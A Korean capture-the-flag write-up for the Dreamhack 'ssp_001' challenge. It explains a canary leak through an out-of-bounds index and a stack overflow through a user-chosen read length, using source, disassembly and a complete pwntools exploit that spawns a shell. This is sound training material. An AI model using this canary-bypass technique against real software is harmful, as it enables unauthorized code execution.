[dreamhack] ssp_001 writeup

1. 문제

thumbnail
ssp_001

이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/33

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

크게 아래 3가지 경우이다.

  • box 배열에 box 배열 크기만큼 입력할 수 있음
  • idx를 입력하여 box 배열의 위치를 출력할 수 있음
  • name_len을 입력하고, 그 크기만큼 name을 입력할 수 있음

canary가 존재하고, NX가 걸려있어 바로 전의 Return to Shellcode는 불가능하다. 하지만 No PIE이므로 get_shell함수의 주소는 고정되어있다.

ubuntu@instance-20250406-1126:~/dreamhack/level2/ssp_001$ checksec ssp_001
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/ssp_001/ssp_001'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

코드를 보면 case 'P'case 'E'에서 각각 취약점이 발생한다. case 'P'에서는 box 배열 기준 임의의 위치의 값을 출력할 수 있으므로 box배열 크기를 넘어서는 값을 idx값에 입력하면 canary를 leak할 수 있다. 그리고 case 'E'에서는 name_len을 우리가 입력할 수 있으므로 name을 임의의 길이만큼 입력하는 bof가 발생한다.

따라서 canary를 leak한 후, name을 통해 리턴 주소까지 덮어서 get_shell함수를 실행하면 될 것이다. 그러면 코드에 존재하는 변수의 스택 위치를 gdb로 확인해보자.

pwndbg> disass main
Dump of assembler code for function main:
   0x0804872b <+0>:	push   ebp
   0x0804872c <+1>:	mov    ebp,esp
   0x0804872e <+3>:	push   edi
   0x0804872f <+4>:	sub    esp,0x94
   0x08048735 <+10>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048738 <+13>:	mov    DWORD PTR [ebp-0x98],eax
   0x0804873e <+19>:	mov    eax,gs:0x14
   0x08048744 <+25>:	mov    DWORD PTR [ebp-0x8],eax
   0x08048747 <+28>:	xor    eax,eax
   0x08048749 <+30>:	lea    edx,[ebp-0x88]
   0x0804874f <+36>:	mov    eax,0x0
   0x08048754 <+41>:	mov    ecx,0x10
   0x08048759 <+46>:	mov    edi,edx
   0x0804875b <+48>:	rep stos DWORD PTR es:[edi],eax
   0x0804875d <+50>:	lea    edx,[ebp-0x48]
   0x08048760 <+53>:	mov    eax,0x0
   0x08048765 <+58>:	mov    ecx,0x10
   0x0804876a <+63>:	mov    edi,edx
   0x0804876c <+65>:	rep stos DWORD PTR es:[edi],eax
   0x0804876e <+67>:	mov    WORD PTR [ebp-0x8a],0x0
   0x08048777 <+76>:	mov    DWORD PTR [ebp-0x94],0x0
   0x08048781 <+86>:	mov    DWORD PTR [ebp-0x90],0x0
   0x0804878b <+96>:	call   0x8048672 <initialize>
   0x08048790 <+101>:	call   0x80486f1 <menu>
   0x08048795 <+106>:	push   0x2
   0x08048797 <+108>:	lea    eax,[ebp-0x8a]
   0x0804879d <+114>:	push   eax
   0x0804879e <+115>:	push   0x0
   0x080487a0 <+117>:	call   0x80484a0 <read@plt>
   0x080487a5 <+122>:	add    esp,0xc
   0x080487a8 <+125>:	movzx  eax,BYTE PTR [ebp-0x8a]
   0x080487af <+132>:	movsx  eax,al
   0x080487b2 <+135>:	cmp    eax,0x46
   0x080487b5 <+138>:	je     0x80487c6 <main+155>
   0x080487b7 <+140>:	cmp    eax,0x50
   0x080487ba <+143>:	je     0x80487eb <main+192>
   0x080487bc <+145>:	cmp    eax,0x45
   0x080487bf <+148>:	je     0x8048824 <main+249>
   0x080487c1 <+150>:	jmp    0x804887a <main+335>
   0x080487c6 <+155>:	push   0x804896c
   0x080487cb <+160>:	call   0x80484b0 <printf@plt>
   0x080487d0 <+165>:	add    esp,0x4
   0x080487d3 <+168>:	push   0x40
   0x080487d5 <+170>:	lea    eax,[ebp-0x88]
   0x080487db <+176>:	push   eax
   0x080487dc <+177>:	push   0x0
   0x080487de <+179>:	call   0x80484a0 <read@plt>
   0x080487e3 <+184>:	add    esp,0xc
   0x080487e6 <+187>:	jmp    0x804887a <main+335>
   0x080487eb <+192>:	push   0x8048979
   0x080487f0 <+197>:	call   0x80484b0 <printf@plt>
   0x080487f5 <+202>:	add    esp,0x4
   0x080487f8 <+205>:	lea    eax,[ebp-0x94]
   0x080487fe <+211>:	push   eax
   0x080487ff <+212>:	push   0x804898a
   0x08048804 <+217>:	call   0x8048540 <__isoc99_scanf@plt>
   0x08048809 <+222>:	add    esp,0x8
   0x0804880c <+225>:	mov    eax,DWORD PTR [ebp-0x94]
   0x08048812 <+231>:	push   eax
   0x08048813 <+232>:	lea    eax,[ebp-0x88]
   0x08048819 <+238>:	push   eax
   0x0804881a <+239>:	call   0x80486cc <print_box>
   0x0804881f <+244>:	add    esp,0x8
   0x08048822 <+247>:	jmp    0x804887a <main+335>
   0x08048824 <+249>:	push   0x804898d
   0x08048829 <+254>:	call   0x80484b0 <printf@plt>
   0x0804882e <+259>:	add    esp,0x4
   0x08048831 <+262>:	lea    eax,[ebp-0x90]
   0x08048837 <+268>:	push   eax
   0x08048838 <+269>:	push   0x804898a
   0x0804883d <+274>:	call   0x8048540 <__isoc99_scanf@plt>
   0x08048842 <+279>:	add    esp,0x8
   0x08048845 <+282>:	push   0x804899a
   0x0804884a <+287>:	call   0x80484b0 <printf@plt>
   0x0804884f <+292>:	add    esp,0x4
   0x08048852 <+295>:	mov    eax,DWORD PTR [ebp-0x90]
   0x08048858 <+301>:	push   eax
   0x08048859 <+302>:	lea    eax,[ebp-0x48]
   0x0804885c <+305>:	push   eax
   0x0804885d <+306>:	push   0x0
   0x0804885f <+308>:	call   0x80484a0 <read@plt>
   0x08048864 <+313>:	add    esp,0xc
   0x08048867 <+316>:	mov    eax,0x0
   0x0804886c <+321>:	mov    edx,DWORD PTR [ebp-0x8]
   0x0804886f <+324>:	xor    edx,DWORD PTR gs:0x14
   0x08048876 <+331>:	je     0x8048884 <main+345>
   0x08048878 <+333>:	jmp    0x804887f <main+340>
   0x0804887a <+335>:	jmp    0x8048790 <main+101>
   0x0804887f <+340>:	call   0x80484e0 <__stack_chk_fail@plt>
   0x08048884 <+345>:	mov    edi,DWORD PTR [ebp-0x4]
   0x08048887 <+348>:	leave
   0x08048888 <+349>:	ret
End of assembler dump.

코드가 복잡하지만 정리하면 아래와 같다.

변수명 위치
rbp-0x90 name_len
rbp-0x8a idx
rbp-0x88 box
rbp-0x48 name
rbp-0x8 canary

canaryrbp-0x8에 위치하고 boxrbp-0x88에 위치하므로 0x80만큼의 거리가 있다. 따라서 idx를 128, 129, 130, 131 이렇게 4개를 보내서 한바이트씩 확인하면 canary leak이 가능하다.

canary = b''
for i in range(128, 132):
    p.recvuntil("> ")
    p.send(b"P")
    p.recvuntil("Element index : ")
    p.sendline(str(i))
    p.recvuntil("is : ")
    canary = p.recv(2) + canary
canary = int(canary, 16)

exploit을 위한 payload를 정리해보자.

payload = name (0x40) + canary (0x4) + dummy (0x4) + sfp (0x4) + get_shell (0x4)

전체 payload 길이는 최소 0x50이므로 name_len을 입력할 때 이 값 이상으로 넣어준 후, 위의 payload를 정리해서 덮어주면된다.

최종 exploit은 아래와 같다.

from pwn import *

p = process("./ssp_001")
elf = ELF("./ssp_001")

get_shell = elf.symbols["get_shell"]

canary = b''
for i in range(128, 132):
    p.recvuntil("> ")
    p.send(b"P")
    p.recvuntil("Element index : ")
    p.sendline(str(i))
    p.recvuntil("is : ")
    canary = p.recv(2) + canary
canary = int(canary, 16)
print(canary)

p.recvuntil("> ")
p.send(b"E")
p.recvuntil("Name Size : ")
p.sendline(str(80))
p.recvuntil("Name : ")

payload = b''
payload += b'a' * 0x40
payload += p32(canary)
payload += b'b' * 8
payload += p32(get_shell)

p.send(payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/ssp_001$ python3 e.py
[+] Starting local process './ssp_001': pid 2298490
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/ssp_001/ssp_001'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
/home/ubuntu/dreamhack/level2/ssp_001/e.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("> ")
/home/ubuntu/dreamhack/level2/ssp_001/e.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Element index : ")
/home/ubuntu/dreamhack/level2/ssp_001/e.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(str(i))
/home/ubuntu/dreamhack/level2/ssp_001/e.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("is : ")
406977024
/home/ubuntu/dreamhack/level2/ssp_001/e.py:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("> ")
/home/ubuntu/dreamhack/level2/ssp_001/e.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Name Size : ")
/home/ubuntu/dreamhack/level2/ssp_001/e.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(str(80))
/home/ubuntu/dreamhack/level2/ssp_001/e.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Name : ")
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

VM크레딧이 부족해서 로컬에서만 실행했지만 리모트에서도 통한다~


해결~